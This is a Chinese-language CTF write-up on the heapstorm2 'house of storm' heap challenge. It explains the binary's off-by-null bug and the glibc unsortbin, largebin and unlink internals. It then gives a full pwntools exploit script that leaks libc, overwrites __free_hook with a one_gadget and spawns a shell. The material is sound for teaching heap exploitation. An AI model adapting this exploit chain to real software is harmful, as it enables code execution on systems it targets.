題目邏輯
init_data
利用mallopt函數
將fastbin關閉,並且通過mmap函數
分配一段地址空間,空間的範圍爲0x13370000-0x13371000,通過fd=open("/dev/urandom",0)
去獲取隨機數,並往0x13370800地址開始寫入24個字節。
for循環
是將mmap開闢的地址填充隨機數異或後的結果。
add
輸入的size值的範圍爲0xc-0x1000,並且得到的堆塊地址以及輸入的size會通過異或再存入mmap的地址段中。
delete
show
show函數打印有前提條件,因此程序剛開始是不可以輸入信息的,需要修改後才能輸出。
edit
edit功能,輸入的size值只能是add時填入的size-0xc,因爲這0xc的空間會被自動填入數據,但是卻額外的填入了0字節,造成了off-by-null的漏洞。
源碼與分析
mallopt
mmap
unlink
unsortbin
mallopt
int mallopt(int param,int value)
param的取值可以爲
M_MMAP_MAX用於設置進程中用mmap分配的內存塊的最大限制,默認值爲64K。如果將M_MMAP_MAX設置爲0,ptmalloc將不會使用mmap分配大塊內存。
用於設置mmap閾值,默認值爲128K,ptmalloc默認開啓動態調整mmap分配閾值和mmap收縮閾值。
當用戶需要分配的內存大於mmap分配閾值,ptmalloc的malloc()函數其實相當於mmap()的簡單封裝,free函數相當於munmap()的簡單封裝。相當於直接通過系統調用分配內存,回收的內存就直接交還給操作系統。因爲大塊內存不能被ptmalloc緩衝管理,不能重用,所以ptmalloc也只有在不得已情況下使用該方式分配內存
mmap分配的好處
mmap分配的壞處
因此mmap來分配長生命週期的大內存塊是嘴好的選擇,其他情況下都不太高效。
mmap的空間可以獨立從系統中分配和釋放的系統,對於長時間運行的程序,申請長生命週期的大內存塊就很適合。
mmap的空間不會被ptmalloc所在緩衝的chunk中,不會導致ptmalloc內存暴增。
對於有些系統的虛擬地址空間存在洞,只能使用mmap()進行分配內存,sbrk()不能運行。
內存不能被ptmalloc回收再利用
會導致更多的內存浪費,因爲mmap需要按頁對齊。
分配效率跟操作系統提供的mmap()函數的效率密切相關,Linux系統強制把匿名mmap的內存物理頁請0.
用於設置mmap收縮閾值,默認值爲128KB
用於設置fastbins保存chunk的最大大小,默認爲64B最大可以設置爲80B,若設置爲0,則表示不使用fast bins
M_MXFAST
M_TRIM_THRESHOLD
M_MMAP_THRESHOLD
M_MMAP_MAX
#ifndef M_MXFAST
# define M_MXFAST 1 /* maximum request size for "fastbins" */
#endif
int __libc_mallopt (int param_number, int value)
{
mstate av = &main_arena;
int res = 1;
if (__malloc_initialized < 0)
ptmalloc_init ();
__libc_lock_lock (av->mutex);
LIBC_PROBE (memory_mallopt, 2, param_number, value);
/* We must consolidate main arena before changing max_fast
5149 (see definition of set_max_fast). */
malloc_consolidate (av);
switch (param_number)
{
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)
{
LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
set_max_fast (value);
}
else
res = 0;
break;
case M_TRIM_THRESHOLD:
do_set_trim_threshold (value);
break;
case M_TOP_PAD:
do_set_top_pad (value);
break;
case M_MMAP_THRESHOLD:
res = do_set_mmap_threshold (value);
break;
case M_MMAP_MAX:
do_set_mmaps_max (value);
break;
case M_CHECK_ACTION:
do_set_mallopt_check (value);
break;
case M_PERTURB:
do_set_perturb_byte (value);
break;
case M_ARENA_TEST:
if (value > 0)
do_set_arena_test (value);
break;
case M_ARENA_MAX:
if (value > 0)
do_set_arena_max (value);
break;
}
__libc_lock_unlock (av->mutex);
return res;
}
mmap
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
start:映射區的開始地址,設置爲0時表示由系統決定映射區的起始地址
length:映射區的長度。以字節爲單位
prot:期望內存保存標誌,不能與文件的打開模式重讀
PROT_EXEC:頁內容可以被執行
PROT_READ:頁內容可以被讀取
PROT_WRITE:頁可以被寫入
PROT_NONE:頁不可被訪問
flags:指定映射對象的類型,映射選項和映射頁是否可以共享。它的值可以是一個或者多個以下選項的組合
MAP_FIXED:使用指定的映射其起始地址,如果由start和len參數指定的內存區重疊於現存的映射空間,重疊部分將會被丟棄。如果指定的起始地址不可用,操作將會失敗。並且起始地址必須落在頁的邊界上。
MAP_SHARED:與其他所有映射這個對象的進程共享映射空間。對共享區的寫入,相當於輸出到文件。直到msync()或者munmap()被調用,文件實際上不會被更新。
MAP_PRIVATE //建立一個寫入時拷貝的私有映射。內存區域的寫入不會影響到原文件。這個標誌和以上標誌是互斥的,只能使用其中一個。
MAP_DENYWRITE //這個標誌被忽略。
MAP_EXECUTABLE //同上
MAP_NORESERVE //不要爲這個映射保留交換空間。當交換空間被保留,對映射區修改的可能會得到保證。當交換空間不被保留,同時內存不足,對映射區的修改會引起段違例信號。
MAP_LOCKED //鎖定映射區的頁面,從而防止頁面被交換出內存。
MAP_GROWSDOWN //用於堆棧,告訴內核VM系統,映射區可以向下擴展。
MAP_ANONYMOUS //匿名映射,映射區不與任何文件關聯。
//MAP_ANONYMOUS的別稱,不再被使用。
MAP_FILE //兼容標誌,被忽略。
MAP_32BIT //將映射區放在進程地址空間的低2GB,MAP_FIXED指定時會被忽略。當前這個標誌只在x86-64平臺上得到支持。
MAP_POPULATE //爲文件映射通過預讀的方式準備好頁表。隨後對映射區的訪問不會被頁違例阻塞。
MAP_NONBLOCK //僅和MAP_POPULATE一起使用時纔有意義。不執行預讀,只爲已存在於內存中的頁面建立頁表入口。
fd:有效的文件描述詞。一般是由open()函數返回,其值也可以是爲-1,此時需要指定flags參數中的MAP_ANOP,表明進行的是匿名映射。
off_toffset:被映射對象內容的起點。
/dev/urandom
利用/dev/urandom文件創建隨機數
從unsortbin取出堆塊的源碼
源碼截取自glibc-2.27/malloc/malloc.c:3729
unlink
從largebin中申請堆塊
思路
##step 1
利用off-by-null 漏洞,實現chunk shrink
add(0x28)#0
add(0xaa0)#1 利用Off-by-null的漏洞,實現堆塊的收縮,完成堆塊的重疊
add(0x80)#2 該堆塊的prev_size會爲0xab0且不會被修改
add(0x80)#3 防止與top chunk合併
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#設置prev_size域繞過unlink檢測
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))#觸發off-by-null漏洞
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
# trigger unlink
delete(1)
delete(2)#觸發unlink,完成堆塊的堆疊
**這裏解釋下edit的原因**
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))
off-by-null之前
off-by-null之後
由於off-by-null的原因,size域的最低字節被0字節覆蓋了
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
此時需要將unsortbin的空閒chunk申請出來,爲什麼這樣申請,後續有說明。當申請堆塊時,由於fastbin,smallbin都沒有符合要求的堆塊,因此會遍歷unsortbin找到是否有合適的堆塊,沒有則斷開雙鏈,將unsortbin裏面的堆塊放到合適的bin裏面,而此時位於unsortbin裏的空閒chunk的大小爲0xa00
,是屬於largebin裏的,因此會先將空閒chunk放進largebin中,再通過unlink操作從largebin中分隔適合的堆塊出來。翻看一下源碼。
從unsortbin解鏈,放進largebin中
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
//unsortbin的bk指針指向倒數第二個堆塊
bck->fd = unsorted_chunks (av);
//倒數第二個堆塊的fd指針指向unsortedbin
//把unsortbin的最後一個堆塊取出來
......
victim->fd_nextsize = victim->bk_nextsize = victim;
//vitctim爲從unsortbin中取出的堆塊
從largebin中申請堆塊
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判斷largebin是否爲空以及判斷請求的size是否小於largebin中最大塊的size
{
victim = victim->bk_nextsize;
//通過bk_nextsize指針遍歷,從小到大找堆塊
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //直到找到的堆塊size值大於或等於請求的size值
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //若申請的chunk存在着多個結點,則申請結點,而不申請堆頭
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //unlink操作取出堆塊
可以發現從largebin取出堆塊是通過unlink操作的,那麼我們就需要繞過unlink檢測
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
//檢查P堆塊的size域與P的下一個堆塊的prev_szie域是否一致
malloc_printerr ("corrupted size vs. prev_size");
這裏的p堆塊即需要取出的largebin,在unlink的第一個條件是需要判斷當前堆塊的size域與下一個堆塊的prev_size域是否一致。
若我們不eidt去僞造prev_size域則可能造成
可以發現與unlink第一個判斷條件的報錯輸出一致,即沒有繞過unlink的檢測,因此edit是爲了構造
(chunksize(P) == prev_size (next_chunk(P))
構造兩個largebin大小的堆塊
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6
add(0x80)#7
這裏我們需要構造兩個largebin大小的堆塊,用於後續的操作。
觸發unlink
delete(1)
delete(2)
由於通過off-by-null的漏洞將堆塊的size收縮了,但是由於空閒塊的管理機制,被釋放掉的堆塊的下一個堆塊的prev_size域會記錄其大小,因此觸發unlink可以實現堆塊的堆疊
接着觸發unlink
實現了堆塊的堆疊
##step 2
mmap_addr = 0x13370800-0x10
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk
add(0x80)#7
....
....
delete(6) #largechunk
add(0x500)#2
delete(4) #unsortchunk
#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
首先通過剛剛排好的堆塊實現,unsortbin與largebin的攻擊,而且unsortbin堆塊的大小需要比lagrebin堆塊的更大。
首先僞造unosrtbin堆塊的bk指針,使得可以完成任意地址堆塊分配
#unsortchunk
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
回頭看看源碼
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
.....
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
若我們申請的size與unosrtbin中的堆塊的size值一致,則直接取出
unsortchunk
爲一開始我們放入unsortbin
的chunk,修改bk指針使得它指向我們想要獲得的chunk
在unsortbin
第一次遍歷時,我們放入unsortbin
中的chunk會被斷開雙鏈並放入largebin
中,並且target_chun
k會成爲unsortbin
的bk指針指向的chunk,並且在第二次遍歷時,由於我們申請的chunk與target_chunk
的size值一致,因此我們會直接取出target_chunk
,達到了任意堆塊的分配,那麼想要完成這種攻擊則需要僞造target_chunk
的size
值。
利用largetbin的攻擊,僞造target_chunk的size值與target_chunk的bk指針
#largechunk
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk
payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize
首先是僞造target_chunk->bk指針
payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk
回過頭看下largebin是如何從unsortbin中放入largebin的
else
{
//否則vitcim自己成爲堆頭
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
//fwd爲控制的堆塊
}
.....
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
victim
爲我們從unsortbin
取出來的unsortchunk
,fwd
爲我們放進largebin
中的largechunk
bck = fwd->bk; //即bck = largechunk->bk
....
bck->fd = victim;//bck->fd = unsortchunk_addr
再將unsortchunk
放入lagrgebin
的鏈表中時,需要訪問largechunk的bk指針指向的內容,因此largechunk->bk
指針指向的地址必須是有效的。
第二需要注意的點,當我們需要從unsortbin的鏈表中直接獲取堆塊時,需要注意要通過unsortbin的檢測
unsorted_chunks (av)->bk = bck;
//bck指的是target_chunk->bk
//unsortbin的bk指針指向倒數第二個堆塊
bck->fd = unsorted_chunks (av);
//需要訪問到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址
可以看到當我們需要取出target_chunk
時,會需要訪問到target_chunk->bk
指針指向的地址,因此該地址也必須有效,否則會報錯。藉助
bck->fd = victim;//bck->fd = unsortchunk_addr
bck
爲我們僞造的largechunk
的bk
指針,若我們將該bk
指針僞造爲target_chunk+8
則
(target_chunk+8)->fd = target_chunk->bk = victim
//成功將target_chunk->bk指針指向有效地址
僞造target_chunk的size域
payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize
回顧從unsortbin解除鏈接,放入largebin的過程
//victim爲unsortchunk
//fwd爲largechunk
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
//fwd->bk_nextsize是我們僞造的地址,並且將該地址賦值給unsortchunk->bk_nextsize
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//victim->bk_nextsize已經被賦值爲我們僞造的地址即fake_addr
//將unsortchunk的地址賦值給fake_addr->fd_nextsize
可以看到我們僞造的bk_nextsize
的值,可以被unsortchunk
的地址所賦值,我們目標是將target_chunk
的size
域給修改成我們希望的值,由於程序開啓了pie
,當開啓pie
時堆塊的地址的最高字節一般爲0x55
或0x56
,那麼我們只需要將堆塊的高字節部分被填寫入targetchunk
的size
域則完成size
域的僞造則
//fake_addr的值爲victim->bk_nextsize,即爲fwd->bk_nextsize,即爲我們僞造的bk_nextsize
fake_addr -> fd_nextsize = victim;
//僞造targetchunk的size域
target_chunk - 0x18 - 5 = victim;
`target_chunk-0x18是使得victim->bk_nextsize落於
targetchunk的
size域,由於堆塊爲6個字節,因此要將使得最高字節落入size域需要再
-5,便可將堆塊的最高字節落入
size域,使得
targetchunk的
size域爲
0x55或
0x56`,這裏注意小端模式。
但是需要堆塊的高字節爲0x56
才能申請成功,這是因爲
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
程序會通過標誌位判斷該堆塊是否爲mmap申請而來。
僞造後的堆塊
##step 3
當我申請成功後,就獲得了在mmap地址段寫能力,也就能夠完成任意地址寫了,這裏需要注意的是,由於我們將mmap的地址放入unsortbin地址取出,此時mmap的fd與bk指針會被修改爲main_aren
與堆塊地址,即異或隨機數被修改爲main_arean
與堆塊地址了
接着修改後續內容使得程序的show
功能啓用,利用任意地址寫進而getshell
exp
from pwn import *
#sh = remote("node3.buuoj.cn",26774)
sh = process("./pwn")
libc = ELF("libc.so.6")
def add(size):
sh.recvuntil("Command:")
sh.sendline("1")
sh.recvuntil("Size: ")
sh.sendline(str(size))
def edit(index,size,content):
sh.recvuntil("Command:")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil("Size: ")
sh.sendline(str(size))
sh.recvuntil("Content: ")
sh.send(content)
def delete(index):
sh.recvuntil("Command:")
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Command:")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(index))
mmap_addr = 0x13370800-0x10
#step 1 chunk shrink
add(0x28)#0
add(0xaa0)#1
add(0x80)#2
add(0x80)#3
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))
delete(1)
edit(0,0x28-0xc,'a'*(0x28-0xc))
add(0x80)#1
add(0x420)#4 unsortchunk
add(0x80)#5
add(0x410)#6 largechunk
add(0x80)#7
# trigger unlink
delete(1)
delete(2)
add(0xb30)#1
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += 'a'*0x420+p64(0)+p64(0x91)
payload += 'a'*0x80+p64(0)+p64(0x421)
payload += 'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)
delete(6)
add(0x500)#2
delete(4)
#unsortbin
payload = 'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)
#largebin
payload += 'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += 'a'*0x80
payload += p64(0)+p64(0x421)
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)
#get target chunk
add(0x48)#4
attach(sh)
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
sh.recvuntil("Chunk[0]: ")
sh.recv(0x60)
xor1 = u64(sh.recv(8))
xor2 = u64(sh.recv(8))
print 'xor1:'+hex(xor1)
print 'xor2:'+hex(xor2)
main_arena = xor1 ^ (mmap_addr+0x10)
print 'main_arena:'+hex(main_arena)
libc_base = main_arena - 0x3c4b78
print 'libc_base'+hex(libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
print 'free_hook:'+hex(free_hook)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)
one_gadget = libc_base + 0x4526a
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))
#attach(sh)
sh.interactive()
如果大家想要嘗試遠程的可以去https://buuoj.cn/裏面有許多往年的原題,是個很好的做題網站
總結
這是一道用於學習house of storm的題目,這道題目涉及的知識點較多unsortbin的循環取出,unlink操作,chunk overlapping等等,可以多看看源碼並且對知識做一個歸納總結。
參考連接
https://blog.csdn.net/u013920085/article/details/52847464
http://eternalsakura13.com/2018/04/03/heapstorm2/
https://mp.weixin.qq.com/s/m30WVySbRrah9GFPdwcGKw
https://xz.aliyun.com/t/5265
https://bbs.pediy.com/thread-225973.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/basic-zh/#unlink
相關實驗:
通過write實現信息泄漏
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814115000001
(介紹信息泄露、GOT、PLT等相關概念,着重講解信息泄露在緩衝區溢出中的重要作用,爲你揭開CTF PWN題目提供的libc.so.6文件的神祕面紗。)
歡迎投稿至郵箱:[email protected]
有才能的你快來投稿吧!
投稿細則都在裏面了,點擊查看哦
點擊這裏提升自己